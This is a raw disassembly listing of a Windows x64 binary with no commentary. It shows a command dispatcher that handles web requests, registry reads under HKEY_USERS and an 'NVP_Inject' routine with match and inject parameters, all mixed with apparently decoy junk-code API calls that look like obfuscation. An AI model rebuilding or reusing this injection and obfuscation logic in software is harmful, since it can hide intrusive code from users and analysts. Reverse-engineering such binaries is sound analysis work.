mov rdx, qword [rsp + 0x5f8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x410]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x608], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140055ba3
mov rdx, qword [rsp + 0x608]
jmp 0x140055b9a
lea rdx, [0x1401384c8]
lea rcx, [rsp + 0x370]
call fcn.140001f6c
nop
lea rdx, [0x1401384c8]
lea rcx, [rsp + 0x3c0]
call fcn.140001f6c
nop
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0x9a0], rax
mov rdx, r12
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0x9b0], rax
mov rdx, qword [rax]
mov qword [rsp + 0x9c0], rdx
lea rcx, [rsp + 0x360]
call fcn.140002df8
nop
lea r8, [rsp + 0x370]
lea rdx, [rsp + 0x3c0]
lea rcx, [rsp + 0x360]
call fcn.14003bfb8
mov byte [rsp + 0x59], al
mov rcx, qword [rsp + 0x360]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x618], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140055b3e
mov rdx, qword [rsp + 0x618]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x3c0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x628], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140055b71
mov rdx, qword [rsp + 0x628]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x370]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x638], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140055ba3
mov rdx, qword [rsp + 0x638]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test r14, r14
je 0x140055bc0
mov al, byte [rsp + 0x59]
neg al
sbb cx, cx
mov word [r14 + 8], cx
mov r12d, 0xb
mov word [r14], r12w
mov eax, dword [0x1401aad80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
cmp ecx, 0x11
jne 0x140056d9d
lea rcx, [rsp + 0x4e20]
call qword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
jmp 0x140056d9d
lea rdx, str.getChildValues
lea rcx, [rsp + 0x50]
call fcn.140003094
test eax, eax
je 0x140056da7
lea rdx, str.getChildKeys
lea rcx, [rsp + 0x50]
call fcn.140003094
test eax, eax
je 0x140056da7
lea rdx, str.requestGet
lea rcx, [rsp + 0x50]
call fcn.140003094
test eax, eax
jne 0x14005629a
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov edx, r15d
lea rcx, [0x1401384c8]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r12, rax
mov qword [rsp + 0x2d8], rax
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0x9d0], rax
lea r13, [0x14013bd40]
mov rdx, r13
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0x9e0], rax
cmp byte [rax + 8], 4
jne 0x1400561eb
test r12, r12
je 0x1400561eb
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0x9f0], rax
mov rdx, r13
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xa00], rax
lea rdx, [rsp + 0x4e00]
mov rcx, rax
call fcn.14002f9c0
mov qword [rsp + 0xa10], rax
cmp qword [rax + 0x18], 0x10
jb 0x140055cfd
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0xa8]
call fcn.140002df8
nop
xor r8d, r8d
mov dl, r15b
lea rcx, [rsp + 0x4e00]
call fcn.14000136c
xor r8d, r8d
lea rdx, str.error
lea rcx, [rsp + 0xa8]
call fcn.140018e78
mov ebx, eax
mov dword [rsp + 0x288], eax
call fcn.140051c80
test al, al
jne 0x140055d93
mov ecx, dword [0x1401aad80]
mov eax, 0x51eb851f
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub ecx, edx
add ecx, 0x2f4
movsxd rcx, ecx
mov eax, 4
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.1400bcf98
mov qword [rsp + 0xa20], rax
mov rcx, rax
call fcn.1400be048
test ebx, ebx
jle 0x140055e99
add ebx, 6
mov dword [rsp + 0x288], ebx
mov edx, 0x26
mov rcx, qword [rsp + 0xa8]
call fcn.1400c0294
mov qword [rsp + 0xa30], rax
test rax, rax
jne 0x140055dc8
mov eax, esi
jmp 0x140055dd3
sub rax, qword [rsp + 0xa8]
sar rax, 1
sub eax, ebx
mov r9d, eax
mov r8d, ebx
lea rdx, [rsp + 0x648]
lea rcx, [rsp + 0xa8]
call fcn.14000dd7c
nop
mov rdx, rax
lea rcx, [rsp + 0xa8]
call fcn.140002038
nop
mov rcx, qword [rsp + 0x648]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x658], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140055e34
mov rdx, qword [rsp + 0x658]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rdx, str.js_code
lea rcx, [rsp + 0x2c8]
call fcn.140002df8
nop
lea rdx, [rsp + 0x2c8]
lea rcx, [rsp + 0xa8]
call fcn.14001b3d0
nop
mov rcx, qword [rsp + 0x2c8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x668], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140055e91
mov rdx, qword [rsp + 0x668]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r12, qword [rsp + 0x2d8]
xor edx, edx
lea rcx, [rsp + 0x430]
call fcn.14002f634
nop
lea rdx, [0x14013bd70]
lea rcx, [rsp + 0xf50]
call fcn.14002f6ac
nop
lea rdx, [0x14013bd74]
lea rcx, [rsp + 0x430]
call fcn.14003011c
mov rcx, rax
lea rdx, [rsp + 0xf50]
call fcn.14002f938
nop
lea rcx, [rsp + 0xf50]
call fcn.14002f88c
mov ecx, dword [0x1401aad80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x2e8ba2e9
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub r8d, edx
cmp r8d, 5
jne 0x140055f2f
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1401aad80], eax
lea rdx, str.param
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xa40], rax
mov rdx, r13
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xa50], rax
lea rdx, [rsp + 0x4de0]
mov rcx, rax
call fcn.14002f9c0
nop
mov rdx, rax
lea rcx, [rsp + 0xf70]
call fcn.14002f6f0
nop
mov rdx, r13
lea rcx, [rsp + 0x430]
call fcn.14003011c
mov rcx, rax
lea rdx, [rsp + 0xf70]
call fcn.14002f938
nop
lea rcx, [rsp + 0xf70]
call fcn.14002f88c
nop
xor r8d, r8d
mov dl, r15b
lea rcx, [rsp + 0x4de0]
call fcn.14000136c
lea rdx, [0x14013bd7c]
lea rcx, [rsp + 0xf90]
call fcn.14002f6ac
nop
lea rdx, str.acceptedStatusCodes
lea rcx, [rsp + 0x430]
call fcn.14003011c
mov rcx, rax
lea rdx, [rsp + 0xf90]
call fcn.140030304
nop
lea rcx, [rsp + 0xf90]
call fcn.14002f88c
lea rdx, [0x14013bd94]
lea rcx, [rsp + 0xfb0]
call fcn.14002f6ac
nop
lea rdx, str.acceptTypes
lea rcx, [rsp + 0x430]
call fcn.14003011c
mov rcx, rax
lea rdx, [rsp + 0xfb0]
call fcn.14002f938
nop
lea rcx, [rsp + 0xfb0]
call fcn.14002f88c
lea rdx, str.Accept_Encoding:_gzip__deflate_r_n
lea rcx, [rsp + 0xfd0]
call fcn.14002f6ac
nop
lea rdx, str.additionalRequestHeaders
lea rcx, [rsp + 0x430]
call fcn.14003011c
mov rcx, rax
lea rdx, [rsp + 0xfd0]
call fcn.14002f938
nop
lea rcx, [rsp + 0xfd0]
call fcn.14002f88c
mov qword [rsp + 0x678], rdi
lea r9, [rsp + 0x430]
lea r8, [rsp + 0x678]
mov rdx, r12
lea rcx, [rsp + 0xff0]
call fcn.140027188
nop
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test r14, r14
je 0x1400561c2
lea rax, vtable.Json::Writer.0
mov qword [rsp + 0x4c30], rax
lea rax, vtable.Json::FastWriter.0
mov qword [rsp + 0x4c30], rax
mov qword [rsp + 0x4c48], rdi
mov qword [rsp + 0x4c50], rdi
mov qword [rsp + 0x4c50], 0xf
mov qword [rsp + 0x4c48], rdi
mov byte [rsp + 0x4c38], dil
mov byte [rsp + 0x4c58], dil
lea r8, [rsp + 0xff0]
lea rdx, [rsp + 0x4dc0]
lea rcx, [rsp + 0x4c30]
call fcn.1400322d0
mov qword [rsp + 0xa60], rax
cmp qword [rax + 0x18], 0x10
jb 0x140056150
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x2e8]
call fcn.140002df8
nop
lea rcx, [rsp + 0x4dc0]
call fcn.14000133c
mov rcx, qword [rsp + 0x2e8]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x6fc], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xa70], rax
test rax, rax
jne 0x140056198
call fcn.140002270
mov qword [r14 + 8], rax
mov r12d, 8
mov word [r14], r12w
lea rcx, [rsp + 0x2e8]
call fcn.140002008
nop
lea rcx, [rsp + 0x4c30]
call fcn.140009c90
nop
lea rcx, [rsp + 0xff0]
call fcn.14002f88c
nop
lea rcx, [rsp + 0x430]
call fcn.14002f88c
nop
lea rcx, [rsp + 0xa8]
jmp 0x140056bfa
test r14, r14
je 0x1400561ff
mov word [r14 + 8], di
mov r12d, 0xb
mov word [r14], r12w
mov rcx, qword [rsp + 0x50]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x688], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005622f
mov rdx, qword [rsp + 0x688]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
xor r8d, r8d
mov dl, r15b
lea rcx, [rsp + 0x4bd0]
call fcn.14000136c
nop
mov rcx, qword [rsp + 0x78]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x698], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140056273
mov rdx, qword [rsp + 0x698]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x4ce0]
call fcn.14001723c
nop
lea rcx, [rsp + 0x60]
call fcn.14002f88c
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x140057cfe
lea rdx, str.NVP_IsSupported
lea rcx, [rsp + 0x50]
call fcn.140003094
test eax, eax
jne 0x140056380
test r14, r14
je 0x1400562c5
mov word [r14 + 8], si
lea r12d, [rax + 0xb]
mov word [r14], r12w
mov eax, dword [0x1401aad80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
and ecx, 0x8000000f
jge 0x1400562e4
sub ecx, r15d
or ecx, 0xfffffff0
add ecx, r15d
cmp ecx, 0xc
jne 0x140056d9d
mov rbx, rdi
mov r12d, 0xd0
mov qword [rsp + 0x6a8], rbx
cmp rbx, r12
jae 0x14005631e
call fcn.1400be2e0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [rsp + rbx*8 + 0x5500], xmm0
add rbx, r15
jmp 0x1400562f6
mov eax, edi
mov dword [rsp + 0x1a0], eax
cmp eax, r12d
jge 0x140056d9d
mov ecx, 0xcf
mov dword [rsp + 0x180], ecx
cmp ecx, eax
jle 0x14005637b
movsxd rdx, ecx
movsd xmm0, qword [rsp + rdx*8 + 0x5500]
movsd xmm1, qword [rsp + rdx*8 + 0x54f8]
comisd xmm0, xmm1
jbe 0x140056376
movsd qword [rsp + 0xa80], xmm0
movsd qword [rsp + rdx*8 + 0x5500], xmm1
movsd qword [rsp + rdx*8 + 0x54f8], xmm0
sub ecx, r15d
jmp 0x140056335
add eax, r15d
jmp 0x140056320
lea rdx, str.NVP_Inject
lea rcx, [rsp + 0x50]
call fcn.140003094
test eax, eax
jne 0x14005690e
test r14, r14
je 0x140056d9d
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xa90], rax
lea rdx, str.match
mov rcx, rax
call fcn.140030290
mov qword [rsp + 0xaa0], rax
cmp rax, r12
je 0x1400568c3
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xab0], rax
lea rdx, str.inject
mov rcx, rax
call fcn.140030290
mov qword [rsp + 0xac0], rax
cmp rax, r12
je 0x1400568c3
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xad0], rax
lea rbx, str.message
mov rdx, rbx
mov rcx, rax
call fcn.140030290
mov qword [rsp + 0xae0], rax
cmp rax, r12
je 0x1400568c3
lea r12, str.param
mov rdx, r12
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xaf0], rax
lea rdx, str.match
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xb00], rax
cmp byte [rax + 8], r15b
jne 0x1400568c3
mov rdx, r12
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xb10], rax
lea rdx, str.inject
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xb20], rax
cmp byte [rax + 8], r15b
jne 0x1400568c3
mov rdx, r12
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xb30], rax
mov rdx, rbx
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xb40], rax
cmp byte [rax + 8], 4
jne 0x1400568c3
mov rdx, r12
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xb50], rax
mov rdx, rbx
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xb60], rax
lea rdx, [rsp + 0x4bf0]
mov rcx, rax
call fcn.14002f9c0
nop
mov eax, dword [0x1401aad80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x38e38e39
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
sub ecx, eax
cmp ecx, 2
jne 0x140056570
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov ecx, dword [0x1401aad80]
mov ebx, 7
test rax, rax
cmove ecx, ebx
mov dword [0x1401aad80], ecx
jmp 0x140056575
mov ebx, 7
mov qword [rsp + 0x258], rdi
lea rcx, [rsp + 0x4bf0]
cmp qword [rsp + 0x4c08], 0x10
cmovae rcx, qword [rsp + 0x4bf0]
lea r8, [rsp + 0x258]
mov rdx, qword [rsp + 0x4c00]
call fcn.14001d1f8
test al, al
jne 0x140056609
lea rcx, [rsp + 0x4bf0]
call fcn.14000133c
nop
lea rcx, [rsp + 0x50]
call fcn.140002008
nop
lea rcx, [rsp + 0x4bd0]
call fcn.14000133c
nop
lea rcx, [rsp + 0x78]
call fcn.140002008
nop
lea rcx, [rsp + 0x4ce0]
call fcn.14001723c
nop
lea rcx, [rsp + 0x60]
call fcn.14002f88c
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x140057cfe
mov qword [rsp + 0x158], rdi
mov qword [rsp + 0x160], rdi
mov qword [rsp + 0x168], rdi
mov rdx, qword [rsp + 0x258]
lea rcx, [rsp + 0x158]
call fcn.1400253cc
nop
mov qword [rsp + 0x2f8], rdi
mov ecx, dword [0x1401aad80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x30c30c31
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub r8d, edx
cmp r8d, 0xa
jne 0x14005667e
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1401aad80], eax
lea rcx, [rsp + 0x4bf0]
cmp qword [rsp + 0x4c08], 0x10
cmovae rcx, qword [rsp + 0x4bf0]
lea rax, [rsp + 0x2f8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x258]
mov r12, qword [rsp + 0x158]
mov r8, r12
mov rdx, qword [rsp + 0x4c00]
call fcn.14001d28c
test al, al
jne 0x140056747
test r12, r12
je 0x1400566ee
mov rcx, r12
call fcn.1400bd904
mov qword [rsp + 0x158], rdi
mov qword [rsp + 0x160], rdi
mov qword [rsp + 0x168], rdi
lea rcx, [rsp + 0x4bf0]
call fcn.14000133c
nop
lea rcx, [rsp + 0x50]
call fcn.140002008
nop
lea rcx, [rsp + 0x4bd0]
call fcn.14000133c
nop
lea rcx, [rsp + 0x78]
call fcn.140002008
nop
lea rcx, [rsp + 0x4ce0]
call fcn.14001723c
nop
lea rcx, [rsp + 0x60]
call fcn.14002f88c
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x140057cfe
mov rdx, qword [rsp + 0x2f8]
lea rcx, [rsp + 0x158]
call fcn.1400253cc
lea rdx, str.param
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xb70], rax
lea rdx, str.match
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xb80], rax
mov rcx, rax
call fcn.14002fc40
mov dword [rsp + 0x2bc], eax
mov ecx, dword [0x1401aad80]
lea r8d, [rcx + 1]
imul r8d, ecx
mov eax, 0xb21642c9
imul r8d
add edx, r8d
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 0x17
sub r8d, edx
mov r12d, 8
cmp r8d, r12d
jne 0x1400567ee
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov ecx, dword [0x1401aad80]
test rax, rax
cmove ecx, ebx
mov dword [0x1401aad80], ecx
lea rdx, str.param
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xb90], rax
lea rdx, str.inject
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xba0], rax
mov rcx, rax
call fcn.14002fc40
mov dword [rsp + 0x470], eax
lea r9, [rsp + 0x158]
mov r8d, eax
mov edx, dword [rsp + 0x2bc]
mov rcx, qword [r13 + 0x40]
call fcn.14004d3f8
mov word [r14 + 8], si
mov r12d, 0xb
mov word [r14], r12w
mov eax, dword [0x1401aad80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
cmp ecx, 0x10
jne 0x140056887
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
nop
mov rcx, qword [rsp + 0x158]
test rcx, rcx
je 0x1400568b1
call fcn.1400bd904
mov qword [rsp + 0x158], rdi
mov qword [rsp + 0x160], rdi
mov qword [rsp + 0x168], rdi
lea rcx, [rsp + 0x4bf0]
call fcn.14000133c
jmp 0x140056d9d
lea rcx, [rsp + 0x50]
call fcn.140002008
nop
lea rcx, [rsp + 0x4bd0]
call fcn.14000133c
nop
lea rcx, [rsp + 0x78]
call fcn.140002008
nop
lea rcx, [rsp + 0x4ce0]
call fcn.14001723c
nop
lea rcx, [rsp + 0x60]
call fcn.14002f88c
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x140057cfe
lea rdx, str.NVP_UTF8ToUTF16
lea rcx, [rsp + 0x50]
call fcn.140003094
test eax, eax
jne 0x140056c04
test r14, r14
je 0x140056d9d
mov r12b, dil
mov byte [rsp + 0x81], dil
lea rcx, [rsp + 0x268]
call fcn.140001f34
nop
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xbb0], rax
lea rdx, [0x14013e5d0]
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xbc0], rax
cmp byte [rax + 8], 4
jne 0x140056be3
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xbd0], rax
lea rdx, [0x14013e5d0]
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xbe0], rax
lea rdx, [rsp + 0x4c10]
mov rcx, rax
call fcn.14002f9c0
nop
mov rax, qword [rsp + 0x4c20]
mov qword [rsp + 0xbf0], rax
lea r8, [rsp + 0x4c10]
cmp qword [rsp + 0x4c28], 0x10
cmovae r8, qword [rsp + 0x4c10]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
mov r9d, eax
xor edx, edx
mov r13d, 0xfde9
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov dword [rsp + 0x848], ebx
test eax, eax
je 0x140056b9b
mov qword [rsp + 0x3e0], rdi
mov qword [rsp + 0x3e8], rdi
mov qword [rsp + 0x3f0], rdi
mov rdx, rbx
add rdx, rdx
lea rcx, [rsp + 0x3e0]
call fcn.1400253cc
nop
mov r8d, dword [0x1401aad80]
mov ecx, r8d
imul ecx, r8d
imul ecx, r8d
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
cmp ecx, 2
jne 0x140056a78
sub r8d, r15d
mov dword [0x1401aad80], r8d
mov rax, qword [rsp + 0x4c20]
mov qword [rsp + 0xc00], rax
lea r8, [rsp + 0x4c10]
cmp qword [rsp + 0x4c28], 0x10
cmovae r8, qword [rsp + 0x4c10]
mov dword [rsp + 0x28], ebx
mov rbx, qword [rsp + 0x3e0]
mov qword [rsp + 0x20], rbx
mov r9d, eax
xor edx, edx
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x140056b12
mov r8, qword [rsp + 0x3e8]
sub r8, rbx
mov qword [rsp + 0xc10], r8
mov rdx, rbx
lea rcx, [rsp + 0x6b8]
call fcn.14001d5ec
nop
mov rdx, rax
lea rcx, [rsp + 0x268]
call fcn.140002038
nop
lea rcx, [rsp + 0x6b8]
call fcn.140002008
mov r12b, r15b
mov byte [rsp + 0x81], r15b
mov r8d, dword [0x1401aad80]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x78787879
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x11
sub ecx, edx
cmp ecx, 9
jne 0x140056b76
mov r9d, edi
mov dword [rsp + 0x17c], edi
test r8d, r8d
je 0x140056b6f
mov ecx, r8d
and ecx, r15d
add r9d, ecx
mov dword [rsp + 0x17c], r9d
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov dword [0x1401aad80], eax
jmp 0x140056b46
mov dword [0x1401aad80], r9d
test rbx, rbx
je 0x140056b9b
mov rcx, rbx
call fcn.1400bd904
mov qword [rsp + 0x3e0], rdi
mov qword [rsp + 0x3e8], rdi
mov qword [rsp + 0x3f0], rdi
lea rcx, [rsp + 0x4c10]
call fcn.14000133c
test r12b, r12b
je 0x140056be3
mov rcx, qword [rsp + 0x268]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x480], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xc20], rax
test rax, rax
jne 0x140056bd7
call fcn.140002270
mov qword [r14 + 8], rax
mov r12d, 8
jmp 0x140056bee
mov word [r14 + 8], di
mov r12d, 0xb
mov word [r14], r12w
lea rcx, [rsp + 0x268]
call fcn.140002008
jmp 0x140056d9d
lea rdx, str.reloadBackground
lea rcx, [rsp + 0x50]
call fcn.140003094
test eax, eax
jne 0x140056c7a
mov rcx, qword [r13 + 0x40]
add rcx, 0x1f8
call fcn.14005c030
mov eax, dword [0x1401aad80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
cmp ecx, 0x12
jne 0x140056c68
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
test r14, r14
je 0x140056d9d
mov word [r14], r15w
jmp 0x140056d9d
lea rdx, str.debugMessage
lea rcx, [rsp + 0x50]
call fcn.140003094
test eax, eax
jne 0x140056d89
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xc30], rax
lea rbx, str.message
mov rdx, rbx
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xc40], rax
cmp byte [rax + 8], 4
jne 0x140056d89
lea rdx, str.param
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xc50], rax
mov rdx, rbx
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xc60], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc70], rdx
lea rcx, [rsp + 0x6c8]
call fcn.140002df8
nop
test r14, r14
je 0x140056d25
mov word [r14 + 8], si
mov r12d, 0xb
mov word [r14], r12w
call fcn.140051c4c
test al, al
jne 0x140056d7c
mov ecx, 0x28
call fcn.1400bcf98
mov r12, rax
mov qword [rsp + 0xc80], rax
mov ebx, edi
mov dword [rsp + 0x28c], ebx
cmp ebx, 0xa
jge 0x140056d68
call fcn.1400be2e0
add eax, dword [0x1401aad80]
movsxd rcx, ebx
mov dword [r12 + rcx*4], eax
add ebx, r15d
jmp 0x140056d45
mov eax, dword [r12 + 0x24]
mov dword [0x1401aad80], eax
mov rcx, r12
call fcn.1400be048
nop
lea rcx, [rsp + 0x6c8]
jmp 0x140056bfa
test r14, r14
je 0x140056d9d
mov word [r14 + 8], di
mov r12d, 0xb
mov word [r14], r12w
mov r13, qword [rsp + 0x48]
jmp 0x140057bbd
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xc90], rax
lea r12, str.keyPath
mov rdx, r12
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xca0], rax
cmp byte [rax + 8], 4
jne 0x140056d9d
test r14, r14
je 0x140056d9d
mov qword [rsp + 0x188], rdi
mov rax, rdi
mov qword [rsp + 0x118], rax
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x198], rdi
mov byte [rsp + 0x41], dil
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xcb0], rax
lea rdx, str.hive
mov rcx, rax
call fcn.140030290
mov qword [rsp + 0xcc0], rax
lea rcx, [0x1401abee0]
cmp rax, rcx
je 0x1400571ae
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xcd0], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xce0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xcf0], rdx
lea rcx, [rsp + 0x278]
call fcn.140002df8
nop
mov rbx, qword [r13 + 0x50]
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x278]
call fcn.140003094
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0xd00], rbx
lea rdx, str.param
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xd10], rax
mov rdx, r12
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xd20], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd30], rdx
lea rax, [rsp + 0x700]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rsp + 0x708], eax
test eax, eax
je 0x140057005
mov dword [r14 + 8], eax
mov eax, 0x16
mov word [r14], ax
mov rcx, qword [rsp + 0x278]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6d8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140056f5c
mov rdx, qword [rsp + 0x6d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x188]
call fcn.140019620
nop
mov rcx, qword [rsp + 0x50]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6e8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140056f9a
mov rdx, qword [rsp + 0x6e8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
xor r8d, r8d
